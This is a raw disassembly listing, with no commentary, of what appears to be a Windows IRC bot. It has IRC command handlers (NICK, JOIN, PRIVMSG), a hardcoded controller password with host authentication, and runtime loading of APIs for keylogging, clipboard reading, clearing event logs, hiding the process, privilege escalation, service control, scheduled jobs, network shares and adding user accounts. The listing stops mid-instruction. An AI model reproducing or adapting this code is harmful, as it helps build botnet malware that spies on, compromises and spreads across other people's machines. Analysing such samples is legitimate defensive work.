call sub_40F99B jmp loc_403F11 ; --------------------------------------------------------------------------- loc_407130: ; CODE XREF: sub_401C87+3DC4j ; sub_401C87+3DD9j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_0] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_407161 push esi lea eax, [ebp+var_2C8] push offset dword_43A290 push eax call sub_417CB0 add esp, 0Ch loc_407161: ; CODE XREF: sub_401C87+54C3j mov edi, [ebp+arg_10] push edi call sub_417960 test eax, eax pop ecx jle loc_40743C push edi call sub_417960 cmp eax, 400h pop ecx jge loc_40743C lea eax, [ebp+var_2C8] push eax push offset dword_43A298 push edi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_407604 push esi push edi push offset dword_43A2A0 jmp loc_407126 ; --------------------------------------------------------------------------- loc_4071B5: ; CODE XREF: sub_401C87+3D9Aj ; sub_401C87+3DAFj cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_0] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40743C mov edi, [ebp+arg_10] push edi call sub_417960 test eax, eax pop ecx jle loc_40743C push edi call sub_417960 cmp eax, 400h pop ecx jge loc_40743C push esi push offset dword_43A2BC push edi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_407604 push esi push edi push offset dword_43A2C4 jmp loc_407126 ; --------------------------------------------------------------------------- loc_407223: ; CODE XREF: sub_401C87+3D70j ; sub_401C87+3D85j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40743C push esi push offset dword_43A2E0 push [ebp+arg_4] call sub_407604 push esi push offset unk_43A2EC jmp loc_4057F9 ; --------------------------------------------------------------------------- loc_40725C: ; CODE XREF: sub_401C87+3D46j ; sub_401C87+3D5Bj push [ebp+var_90] push offset a332_2 ; "332" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_40622C push [ebp+arg_0] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_10] call sub_417960 imul eax, 3E8h add esp, 10h push eax call dword_4E033C ; Sleep push [ebp+esi+var_88] push [ebp+arg_0] push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_407604 push offset dword_43A328 call sub_40F927 jmp loc_4057FE ; --------------------------------------------------------------------------- loc_4072C4: ; CODE XREF: sub_401C87+3D1Cj ; sub_401C87+3D31j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] call sub_414EC0 push edi mov esi, eax call sub_414EC0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417E00 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40743C push esi lea eax, [ebp+var_2C8] push offset dword_43A33C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_40764A push esi push [ebp+arg_10] push offset unk_43A348 call sub_40F99B add esp, 2Ch jmp loc_40743C ; --------------------------------------------------------------------------- loc_407336: ; CODE XREF: sub_401C87+3CF2j ; sub_401C87+3D07j cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_10] call sub_414EC0 push edi mov esi, eax call sub_414EC0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417E00 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40743C push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_40764A push esi push [ebp+arg_10] push offset unk_43A364 call sub_40F99B add esp, 20h jmp loc_40743C ; --------------------------------------------------------------------------- loc_407390: ; CODE XREF: sub_401C87+3CC8j ; sub_401C87+3CDDj cmp [ebp+var_C], ebx jz loc_40622C push [ebp+arg_0] push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz loc_40622C push eax push [ebp+arg_10] call sub_40F82F push [ebp+arg_10] lea eax, [ebp+var_2C8] push offset unk_43A384 push eax call sub_417CB0 add esp, 14h jmp loc_40607B ; --------------------------------------------------------------------------- loc_4073D3: ; CODE XREF: sub_401C87+3C9Ej ; sub_401C87+3CB3j push [ebp+arg_0] push [ebp+arg_10] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_411F66 jmp loc_403D84 ; --------------------------------------------------------------------------- loc_4073EF: ; CODE XREF: sub_401C87+E72j ; sub_401C87+E87j push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_95C], bl setnz al push eax lea eax, [ebp+var_304] push dword_4370A0 push eax call sub_409361 lea eax, [ebp+var_304] push eax push offset aNickS_3 ; "NICK %s\r\n" push [ebp+arg_4] call sub_407604 lea eax, [ebp+var_304] push eax push offset unk_43A3B0 call sub_40F99B loc_407439: ; CODE XREF: sub_401C87+42A2j add esp, 24h loc_40743C: ; CODE XREF: sub_401C87+62Aj ; sub_401C87+636j ... mov eax, [ebp+arg_24] jmp loc_4075FF ; --------------------------------------------------------------------------- loc_407444: ; CODE XREF: sub_401C87+A82j ; sub_401C87+A97j mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_10], esi jz loc_40622C cmp [ebp+var_A4], ebx jnz loc_40622C push offset asc_43A3D4 ; "!~" push [ebp+var_94] call sub_418AC0 mov esi, eax push offset dword_4D6520 push ebx inc esi call sub_418AC0 push (offset asc_43A3D4+2) push eax call sub_418AC0 push [ebp+arg_10] mov edi, eax push offset a_a159753acdb ; "_A159753AcDb" call sub_418A30 add esp, 20h test eax, eax jz short loc_4074EC lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_407604 lea eax, [ebp+var_C0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_407604 push edi push esi push offset unk_43A42C loc_4074D8: ; CODE XREF: sub_401C87+58BEj lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 30h jmp loc_40259F ; --------------------------------------------------------------------------- loc_4074EC: ; CODE XREF: sub_401C87+5818j mov [ebp+arg_24], ebx loc_4074EF: ; CODE XREF: sub_401C87+5885j mov eax, [ebp+arg_24] push edi push off_437154[eax] call sub_4099B6 pop ecx test eax, eax pop ecx jnz short loc_407547 add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_4074EF lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_407604 lea eax, [ebp+var_C0] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_407604 push edi push esi push offset unk_43A4AC jmp short loc_4074D8 ; --------------------------------------------------------------------------- loc_407547: ; CODE XREF: sub_401C87+587Bj mov edi, [ebp+arg_18] xor esi, esi loc_40754C: ; CODE XREF: sub_401C87+58E6j cmp [edi], bl jnz short loc_407563 push [ebp+arg_10] push offset a_a159753acdb ; "_A159753AcDb" call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_407574 loc_407563: ; CODE XREF: sub_401C87+58C7j inc esi add edi, 80h cmp esi, 3 jl short loc_40754C jmp loc_40622C ; --------------------------------------------------------------------------- loc_407574: ; CODE XREF: sub_401C87+58DAj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_B60] push 7Fh push eax push esi call sub_417760 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4075AB push ebx push [ebp+var_4] push offset unk_43A4D8 push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_4075AB: ; CODE XREF: sub_401C87+5908j lea eax, [ebp+var_C0] push eax push offset unk_43A4F8 jmp loc_402213 ; --------------------------------------------------------------------------- loc_4075BC: ; CODE XREF: sub_401C87+202j ; sub_401C87+217j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_407604 push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_407604 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_407604 add esp, 2Ch mov dword_4D6514, edi loc_4075FD: ; CODE XREF: sub_401C87+E9j ; sub_401C87+F5j ... mov eax, edi loc_4075FF: ; CODE XREF: sub_401C87+2554j ; sub_401C87+2576j ... pop edi pop esi pop ebx leave retn sub_401C87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407604 proc near ; CODE XREF: sub_401B0B+3Dp ; sub_401C87+1BFp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_418C10 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D66B8 ; send leave retn sub_407604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764A proc near ; CODE XREF: sub_401C87+4F3p ; sub_401C87+1371p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice_2 ; "NOTICE" jnz short loc_407665 mov edi, offset aPrivmsg_2 ; "PRIVMSG" loc_407665: ; CODE XREF: sub_40764A+14j push edi call sub_414EC0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_414EC0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_12 ; "%s" push esi push eax call sub_417E80 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_417CB0 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_414EC0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4076E3 push 7D0h call dword_4E033C ; Sleep locret_4076E3: ; CODE XREF: sub_40764A+8Cj leave retn sub_40764A endp ; =============== S U B R O U T I N E ======================================= sub_4076E5 proc near ; CODE XREF: sub_401404+4Bp push ebx push ebp mov ebp, dword_4E0360 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4E0380 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_407805 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4D6714, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4D6688, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4D666C, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4D657C, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4D6528, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4D6558, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4D65D0, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4D66C8, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4D6720, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4D6588, eax call esi ; GetProcAddress cmp dword_4D6714, ebx mov dword_4D6570, eax jz short loc_4077E3 cmp dword_4D6688, ebx jz short loc_4077E3 cmp dword_4D666C, ebx jz short loc_4077E3 cmp dword_4D657C, ebx jz short loc_4077E3 cmp dword_4D6558, ebx jz short loc_4077E3 cmp dword_4D65D0, ebx jz short loc_4077E3 cmp dword_4D66C8, ebx jz short loc_4077E3 cmp dword_4D6720, ebx jz short loc_4077E3 cmp dword_4D6588, ebx jz short loc_4077E3 cmp eax, ebx jnz short loc_4077ED loc_4077E3: ; CODE XREF: sub_4076E5+B8j ; sub_4076E5+C0j ... mov dword_4D6724, 1 loc_4077ED: ; CODE XREF: sub_4076E5+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4D66A0, eax jz short loc_40781A push 1 push ebx call eax ; DnsFlushResolverCache jmp short loc_40781A ; --------------------------------------------------------------------------- loc_407805: ; CODE XREF: sub_4076E5+1Dj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6728, eax mov dword_4D6724, 1 loc_40781A: ; CODE XREF: sub_4076E5+117j ; sub_4076E5+11Ej push offset aUser32_dll ; "user32.dll" call dword_4E037C ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40792F push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4D66C4, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4D6674, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4D6608, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4D6718, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4D6638, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4D6658, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4D66BC, eax call esi ; GetProcAddress cmp dword_4D66C4, ebx mov dword_4D65A8, eax jz short loc_4078D3 cmp dword_4D6674, ebx jz short loc_4078D3 cmp dword_4D6608, ebx jz short loc_4078D3 cmp dword_4D6718, ebx jz short loc_4078D3 cmp dword_4D6638, ebx jz short loc_4078D3 cmp dword_4D6658, ebx jz short loc_4078D3 cmp dword_4D66BC, ebx jz short loc_4078D3 cmp eax, ebx jnz short loc_4078DD loc_4078D3: ; CODE XREF: sub_4076E5+1B8j ; sub_4076E5+1C0j ... mov dword_4D672C, 1 loc_4078DD: ; CODE XREF: sub_4076E5+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4D6634, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4D653C, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4D6604, eax call esi ; GetProcAddress cmp dword_4D6634, ebx mov dword_4D65EC, eax jz short loc_40793A cmp dword_4D653C, ebx jz short loc_40793A cmp dword_4D6604, ebx jz short loc_40793A cmp eax, ebx jnz short loc_407944 jmp short loc_40793A ; --------------------------------------------------------------------------- loc_40792F: ; CODE XREF: sub_4076E5+144j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6730, eax loc_40793A: ; CODE XREF: sub_4076E5+232j ; sub_4076E5+23Aj ... mov dword_4D672C, 1 loc_407944: ; CODE XREF: sub_4076E5+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_407AFD push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4D66D8, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4D661C, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4D668C, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4D6568, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4D65CC, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4D6644, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4D65E8, eax call esi ; GetProcAddress cmp dword_4D66D8, ebx mov dword_4D65F8, eax jz short loc_4079ED cmp dword_4D661C, ebx jz short loc_4079ED cmp dword_4D668C, ebx jz short loc_4079ED cmp dword_4D6568, ebx jz short loc_4079ED cmp dword_4D65CC, ebx jz short loc_4079ED cmp dword_4D6644, ebx jnz short loc_4079F7 loc_4079ED: ; CODE XREF: sub_4076E5+2DEj ; sub_4076E5+2E6j ... mov dword_4D6734, 1 loc_4079F7: ; CODE XREF: sub_4076E5+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4D664C, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4D6624, eax call esi ; GetProcAddress cmp dword_4D664C, ebx mov dword_4D66D4, eax jz short loc_407A32 cmp dword_4D6624, ebx jz short loc_407A32 cmp eax, ebx jnz short loc_407A3C loc_407A32: ; CODE XREF: sub_4076E5+33Fj ; sub_4076E5+347j mov dword_4D6734, 1 loc_407A3C: ; CODE XREF: sub_4076E5+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4D665C, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4D6544, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4D654C, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4D65B0, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4D65B4, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4D6560, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4D6628, eax call esi ; GetProcAddress cmp dword_4D665C, ebx mov dword_4D6550, eax jz short loc_407AE0 cmp dword_4D6544, ebx jz short loc_407AE0 cmp dword_4D654C, ebx jz short loc_407AE0 cmp dword_4D65B0, ebx jz short loc_407AE0 cmp dword_4D65B4, ebx jz short loc_407AE0 cmp dword_4D6560, ebx jz short loc_407AE0 cmp dword_4D6628, ebx jz short loc_407AE0 cmp eax, ebx jnz short loc_407AEA loc_407AE0: ; CODE XREF: sub_4076E5+3C5j ; sub_4076E5+3CDj ... mov dword_4D6734, 1 loc_407AEA: ; CODE XREF: sub_4076E5+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4D6548, eax jnz short loc_407B12 jmp short loc_407B08 ; --------------------------------------------------------------------------- loc_407AFD: ; CODE XREF: sub_4076E5+26Aj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6738, eax loc_407B08: ; CODE XREF: sub_4076E5+416j mov dword_4D6734, 1 loc_407B12: ; CODE XREF: sub_4076E5+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_407BDE push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4D6654, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4D66AC, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4D66B4, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4D6670, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4D658C, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4D6538, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4D66B0, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4D6524, eax call esi ; GetProcAddress cmp dword_4D6654, ebx mov dword_4D65C4, eax jz short loc_407BE9 cmp dword_4D66AC, ebx jz short loc_407BE9 cmp dword_4D66B4, ebx jz short loc_407BE9 cmp dword_4D6670, ebx jz short loc_407BE9 cmp dword_4D658C, ebx jz short loc_407BE9 cmp dword_4D6538, ebx jz short loc_407BE9 cmp dword_4D66B0, ebx jz short loc_407BE9 cmp dword_4D6524, ebx jz short loc_407BE9 cmp eax, ebx jnz short loc_407BF3 jmp short loc_407BE9 ; --------------------------------------------------------------------------- loc_407BDE: ; CODE XREF: sub_4076E5+438j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6740, eax loc_407BE9: ; CODE XREF: sub_4076E5+4B9j ; sub_4076E5+4C1j ... mov dword_4D673C, 1 loc_407BF3: ; CODE XREF: sub_4076E5+4F5j mov ebp, dword_4E037C push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_407EAF push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4D65D8, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4D670C, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4D6578, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4D6554, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4D6614, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4D65FC, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4D65C0, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4D66E8, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4D6704, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4D6610, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4D66F4, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4D66A8, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4D6668, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4D6664, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4D6598, eax call esi ; GetProcAddress push offset aSend_0 ; "send" push edi mov dword_4D6590, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4D66B8, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4D66CC, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4D6680, eax call esi ; GetProcAddress mov dword_4D6640, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4D6694, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4D6650, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4D6690, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4D66FC, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4D6648, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4D660C, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4D667C, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4D66EC, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4D6620, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4D65BC, eax call esi ; GetProcAddress cmp dword_4D65D8, ebx mov dword_4D6700, eax jz loc_407EBA cmp dword_4D670C, ebx jz loc_407EBA cmp dword_4D6578, ebx jz loc_407EBA cmp dword_4D6614, ebx jz loc_407EBA cmp dword_4D65FC, ebx jz loc_407EBA cmp dword_4D65C0, ebx jz loc_407EBA cmp dword_4D66E8, ebx jz loc_407EBA cmp dword_4D6704, ebx jz loc_407EBA cmp dword_4D6610, ebx jz loc_407EBA cmp dword_4D66F4, ebx jz loc_407EBA cmp dword_4D66A8, ebx jz loc_407EBA cmp dword_4D6668, ebx jz loc_407EBA cmp dword_4D6664, ebx jz loc_407EBA cmp dword_4D6598, ebx jz short loc_407EBA cmp dword_4D66B8, ebx jz short loc_407EBA cmp dword_4D66CC, ebx jz short loc_407EBA cmp dword_4D6680, ebx jz short loc_407EBA cmp dword_4D6640, ebx jz short loc_407EBA cmp dword_4D6694, ebx jz short loc_407EBA cmp dword_4D6650, ebx jz short loc_407EBA cmp dword_4D6690, ebx jz short loc_407EBA cmp dword_4D66FC, ebx jz short loc_407EBA cmp dword_4D6648, ebx jz short loc_407EBA cmp dword_4D660C, ebx jz short loc_407EBA cmp dword_4D667C, ebx jz short loc_407EBA cmp dword_4D66EC, ebx jz short loc_407EBA cmp dword_4D6620, ebx jz short loc_407EBA cmp eax, ebx jnz short loc_407EC4 jmp short loc_407EBA ; --------------------------------------------------------------------------- loc_407EAF: ; CODE XREF: sub_4076E5+51Fj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6748, eax loc_407EBA: ; CODE XREF: sub_4076E5+6BEj ; sub_4076E5+6CAj ... mov dword_4D6744, 1 loc_407EC4: ; CODE XREF: sub_4076E5+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_407FC9 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4D65A4, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4D652C, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4D6630, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4D65DC, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4D663C, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4D6600, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4D656C, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4D6564, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4D6574, eax call esi ; GetProcAddress cmp dword_4D65A4, ebx mov ecx, dword_4D6600 mov dword_4D669C, eax jz short loc_407FA5 cmp dword_4D652C, ebx jz short loc_407FA5 cmp dword_4D6630, ebx jz short loc_407FA5 cmp dword_4D65DC, ebx jz short loc_407FA5 cmp dword_4D663C, ebx jz short loc_407FA5 cmp ecx, ebx jz short loc_407FA5 cmp dword_4D656C, ebx jz short loc_407FA5 cmp dword_4D6564, ebx jz short loc_407FA5 cmp dword_4D6574, ebx jz short loc_407FA5 cmp eax, ebx jnz short loc_407FAF loc_407FA5: ; CODE XREF: sub_4076E5+87Ej ; sub_4076E5+886j ... mov dword_4D674C, 1 loc_407FAF: ; CODE XREF: sub_4076E5+8BEj cmp ecx, ebx jz short loc_407FE4 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4D6618, eax jnz short loc_407FE4 jmp short loc_407FDE ; --------------------------------------------------------------------------- loc_407FC9: ; CODE XREF: sub_4076E5+7EAj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6750, eax mov dword_4D674C, 1 loc_407FDE: ; CODE XREF: sub_4076E5+8E2j mov dword_4D6618, ebx loc_407FE4: ; CODE XREF: sub_4076E5+8CCj ; sub_4076E5+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40802E push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4D65F0, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4D671C, eax call esi ; GetProcAddress cmp dword_4D65F0, ebx mov dword_4D6580, eax jz short loc_408039 cmp dword_4D671C, ebx jz short loc_408039 cmp eax, ebx jnz short loc_408043 jmp short loc_408039 ; --------------------------------------------------------------------------- loc_40802E: ; CODE XREF: sub_4076E5+90Aj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6758, eax loc_408039: ; CODE XREF: sub_4076E5+939j ; sub_4076E5+941j ... mov dword_4D6754, 1 loc_408043: ; CODE XREF: sub_4076E5+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40814A push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4D655C, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4D6534, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4D65AC, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4D65E0, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4D66F8, eax call esi ; GetProcAddress push offset aNetuseradd 